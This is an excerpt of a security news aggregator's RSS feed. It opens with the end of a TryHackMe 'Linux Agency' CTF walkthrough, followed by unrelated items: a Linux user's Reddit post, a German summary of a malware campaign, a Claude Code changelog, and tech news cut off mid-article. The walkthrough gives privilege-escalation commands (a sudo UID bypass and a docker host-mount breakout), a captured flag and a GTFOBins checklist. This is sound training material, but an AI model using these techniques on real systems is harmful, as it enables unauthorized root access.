causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thoughts From a First-Time Linux User]]></title>
<description><![CDATA[Sorry for the long read I was just kicking tires and wanted to write this. I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it. I have an AS...]]></description>
<link>https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674926/linux-tipps/thoughts-from-a-first-time-linux-user/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Sorry for the long read I was just kicking tires and wanted to write this.</p> <p>I wanted to share my experience with using Linux for the first time. I started using Linux in 2024 when I bought my first gaming laptop. I have loved it, so I want to share some of my pro's and con's about it.</p> <p>I have an ASUS Rog Zephyrus G16 laptop. It has a Intel Core 9, RTX 4070M, and 16GB RAM.</p> <p>I played games as a kid, but when I went to university I bought a slug so I was not tempted to play games all day. That laptop carried me until senior year when I got a gaming laptop because I needed better hardware to run Unity and Android Studio.</p> <p>And <em>hooooooly shit</em> I would rather walk 40 days and 40 nights in the desert than use Windows 11 anymore.</p> <p>The ram usage is insane. From my previous experience gaming in my teens I figured 16 gigabytes of ram would be sufficient, but now it's like Palantir is running army drone simulations on it. The worst part is some of the basic software shoves the Windows Store down your throat. I couldn't even install Python without Bill Gates personally coming to my house to ask me if I had the proper security clearances and a Windows account. As a hail mary I installed Ubuntu.</p> <p><strong>Some pros:</strong></p> <p>Installing applications took some getting used to. I really am terminal-averse, but after practicing some installations I really found it quite easy. It really is nice to not have to go to multiple websites to download Steam or Discord.</p> <p>It runs fast and it runs cool. My laptop runs <em>ten degrees cooler</em> than it does on Windows 11. I have no clue why. It runs all of the same applications as Windows but with less usage, less ram, and at lower temperatures.</p> <p>I can configure anything. If I don't like my UI, or something is broken, I can fix it. I really don't think my switch would have been as smooth if it had not been for having a Claude subscription. I really think it helped with the out of box setup. For example, I had this super obscure bug where the brightness controller was not working. My specific machine would not respond to the existing brightness dial, so I had Claude take a look and it wrote a prefix into <em>initramfs</em> to select the correct driver for my HDR display. That would have taken me weeks to solve, especially because there were zero internet resources for it.</p> <p><strong>Some cons:</strong></p> <p>I hate to say it, but I really dislike certain Linux communities. A handful of them seem to believe that the harder a software is to use, the more genius it makes them. It drives me up a wall. If it doesn't have to be complicated, then it shouldn't be complicated! When it comes to getting help, the first primitive reflex some Linux users seem to have is to tell me to switch distros, and I totally hate it. If my problem is so bad that I literally have to switch entire operating systems to solve it, then I am better off getting a Mac. People wonder why nobody uses Linux, and I really think this is the crux of it. The people that should be your advocates have left the room. (Except for you, Reader. You're awesome! 😄).</p> <p>Some things could be easier. Windows allows people to just download an installer and run it with full GUI. Now that I'm intermediately seasoned on Linux, I don't really need installs to be that easy, but if I was someone starting from zero it would be nice to have some modern flow to installations and removals of software like Windows has. Now fortunately, many distros have a Software Center you can use, it's just that those are limited to major softwares.</p> <p>I can configure anything until it's broken. When I started using Ubuntu, I was setting up a KVM to run some games that were Windows-only compatible, and I bricked the entire OS a couple of times. I really don't think that this should change, but if I were giving advice to someone who just installed Linux I would definitely remind them to have their own thumb drive at all times haha.</p> <p>As Linux users, what are your thoughts on the OS? Is there anything that you think Linux does better than Windows? Anything you'd like to change?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TheWinningHit"> /u/TheWinningHit </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uyheee/thoughts_from_a_firsttime_linux_user/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Der PhantomEnigma-Angriff: Wie Angreifer brasilianische Behörden-Seiten missbrauchen]]></title>
<description><![CDATA[Überblick Die IT-Sicherheitsfirma ANY.RUN hat eine aktive Schadprogramm-Kampagne (Malware-Kampagne) namens PhantomEnigma aufgedeckt. Dabei wurden mehr als 20 brasilianische Regierungswebsites (mit der Endung .gov.br) gekapert. Die Angreifer nutzen diese vertrauenswürdigen, staatlichen Seiten nich...]]></description>
<link>https://tsecurity.de/de/3674911/it-security-nachrichten/der-phantomenigma-angriff-wie-angreifer-brasilianische-behoerden-seiten-missbrauchen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674911/it-security-nachrichten/der-phantomenigma-angriff-wie-angreifer-brasilianische-behoerden-seiten-missbrauchen/</guid>
<pubDate>Fri, 17 Jul 2026 04:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Überblick</h1> <p>Die IT-Sicherheitsfirma <a href="https://any.run/"><em>ANY.RUN</em></a> hat eine aktive Schadprogramm-Kampagne (Malware-Kampagne) namens <strong>PhantomEnigma</strong> aufgedeckt. Dabei wurden mehr als 20 brasilianische Regierungswebsites (mit der Endung <code>.gov.br</code>) gekapert. Die Angreifer nutzen diese vertrauenswürdigen, staatlichen Seiten nicht als Endziel, sondern als Verteilerplattformen (Vektoren), um Schadsoftware unbemerkt zu verbreiten.</p> <h1>Der Ablauf des Angriffs (Angriffskette)</h1> <p>Der Angriff erfolgt über mehrere, aufeinanderfolgende Schritte:</p> <ol> <li><strong>Täuschende Köder (Phishing-E-Mails):</strong> Opfer erhalten gefälschte E-Mails mit Bezug zu Polizei- oder Behördendokumenten (z. B. angebliche digitale Vollmachten). Diese enthalten QR-Codes oder Links. <ul> <li><em>Besonderheit:</em> Die E-Mails stammen oft aus echten, aber kompromittierten Postfächern und bestehen gängige Sicherheitsprüfungen (SPF, DKIM, DMARC), wodurch sie täuschend echt wirken.</li> </ul></li> <li><strong>Weiterleitung über Regierungsseiten:</strong> Klickt das Opfer auf den Link, wird es über gehackte Webseiten von brasilianischen Kommunen, Justizportalen oder Sicherheitsbehörden (z. B. der Feuerwehr) umgeleitet. Das tarnt die bösartige Aktivität.</li> <li><strong>Schädliches Installationsprogramm:</strong> Der Nutzer lädt eine manipulierte Installationsdatei (z. B. Inno Setup oder MSI) herunter.</li> <li><strong>Hintertür (Backdoor-Aktivierung):</strong> Das Schadprogramm nistet sich in einer eigentlich legitimen Software ein (z. B. über eine manipulierte JavaScript-Datei <code>index.js</code>).</li> <li><strong>Zweite Stufe (Payload):</strong> Die aktivierte Hintertür lädt je nach Bedarf weitere Schadsoftware nach (z. B. Programme zum Datendiebstahl, Fernsteuerungswerkzeuge oder Spionage-Software).</li> </ol> <h1>Entwicklung der Bedrohung (Evolution)</h1> <p>Die Angreifer haben ihre Methoden im Laufe der Zeit professionalisiert:</p> <ul> <li><strong>Verbreitungsweg:</strong> Während 2025 noch der Fokus auf dem Diebstahl von Bankdaten lag, missbraucht die Kampagne 2026 verstärkt vertrauenswürdige staatliche Webseiten und E-Mail-Konten.</li> <li><strong>Schadprogramm (Arsenal):</strong> Die Schadsoftware hat sich von einer einfachen Browser-Erweiterung für Online-Banking zu einer modular aufgebauten Hintertür (Backdoor) entwickelt, die flexibel Befehle ausführen kann.</li> </ul> <h1>Fähigkeiten der Hintertür (Backdoor)</h1> <p>Sobald die Hintertür auf dem Computer des Opfers aktiv ist, kann sie:</p> <ul> <li>Systemdaten (Computer- und Benutzernamen) ausspähen.</li> <li>Eine dauerhafte Verbindung zum System einrichten (Autostart/Persistence).</li> <li>Alle drei Minuten neue Befehle von den Servern der Angreifer abfragen.</li> <li>Direkt Programmierbefehle (JavaScript) ausführen.</li> <li>Beliebige weitere Schadprogramme herunterladen und starten.</li> </ul> <h1>Relevanz und Empfehlungen für Unternehmen und Behörden</h1> <p>Da die Angriffe über offiziell beglaubigte E-Mails und seriöse Regierungs-Domains laufen, versagen herkömmliche Sicherheitsfilter und statische Sperrlisten oft. Für Banken und Behörden besteht das Risiko von Datenabfluss, Identitätsdiebstahl und Finanzbetrug.</p> <ul> <li><strong>Empfehlung:</strong> Sicherheitsverantwortliche sollten sich nicht allein auf automatisierte Dateiprüfungen verlassen, sondern auf kontinuierliche Verhaltensanalysen (Behavioral Analysis) und proaktive Bedrohungssuche (Threat Hunting) setzen. Zudem sollten Mitarbeitende eine einfache Möglichkeit erhalten, verdächtige Behörden-Mails direkt zu melden.</li> </ul> <p><strong>Quelle:</strong><br> <a href="https://thehackernews.com/2026/07/20-hijacked-government-websites.html">20+ Hijacked Government Websites Becamean Attack Channel</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Horus_Sirius"> /u/Horus_Sirius </a> <br> <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1uy68sj/der_phantomenigmaangriff_wie_angreifer/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1uy68sj/der_phantomenigmaangriff_wie_angreifer/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The BIOS Password Mistake]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 Not every "BIOS password" is actually the same thing.

In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different l...]]></description>
<link>https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 00:18:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3P62uY6obOs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Not every "BIOS password" is actually the same thing.<br />
<br />
In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different layer of the system.<br />
<br />
Confusing these terms can lead to incorrect troubleshooting, mistaken security assumptions, or unnecessary recovery efforts. Knowing what each password actually protects makes it much easier to understand why a system is locked—or what kind of credential is really being requested.<br />
<br />
The conversation also highlights a common misconception: BitLocker recovery is separate from firmware authentication.<br />
<br />
Which password type do you think creates the most confusion for IT professionals and everyday users?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#BIOS #TechExplained #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]></title>
<description><![CDATA[by George Whittaker
      
            Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system thro...]]></description>
<link>https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</guid>
<pubDate>Fri, 17 Jul 2026 00:16:05 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341445" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm.jpg" width="850" height="500" alt="NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Sipeed has introduced <strong>NanoKVM-Go</strong>, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the <strong>Model Context Protocol (MCP)</strong>.</p>

<p>Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.</p>

<h2><strong>A Portable USB-C KVM</strong></h2>

<p>NanoKVM-Go is roughly the size of a smartwatch, measuring about <strong>45 × 40 × 15 mm</strong>, yet it combines several functions into a single device.</p>

<p>Key hardware features include:</p>

<ul><li>USB-C connection for video, audio, keyboard, mouse, and power</li>
	<li>Wi-Fi 6 connectivity</li>
	<li>Browser-based remote management</li>
	<li>Support for virtual USB storage</li>
	<li>Built-in Tailscale integration for secure remote access</li>
	<li>Fanless aluminum enclosure with low power consumption</li>
</ul><p>Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.</p>

<h2><strong>Designed for Linux and Beyond</strong></h2>

<p>NanoKVM-Go supports numerous USB-C devices, including:</p>

<ul><li>Linux desktops and laptops</li>
	<li>Windows PCs</li>
	<li>macOS systems</li>
	<li>Mini PCs</li>
	<li>Steam Deck</li>
	<li>Android devices with DisplayPort Alt Mode</li>
	<li>iPhone 15 and newer models</li>
	<li>Tablets supporting USB-C video output</li>
</ul><p>For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.</p>

<h2><strong>AI Integration Through MCP</strong></h2>

<p>One of NanoKVM-Go's defining features is its <strong>AI-native design</strong>.</p>

<p>Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an <strong>MCP (Model Context Protocol) server</strong>, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.</p>

<p>This enables AI systems to:</p>

<ul><li>View the screen</li>
	<li>Move the mouse</li>
	<li>Type on the keyboard</li>
	<li>Launch applications</li>
	<li>Navigate user interfaces</li>
	<li>Complete repetitive desktop workflows</li>
</ul><p>Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/nanokvm-go-brings-ai-powered-hardware-control-linux-compact-usb-c-kvm" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build enterprise search for agents with Amazon Bedrock Managed Knowledge Base]]></title>
<description><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></description>
<link>https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</guid>
<pubDate>Thu, 16 Jul 2026 23:33:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that 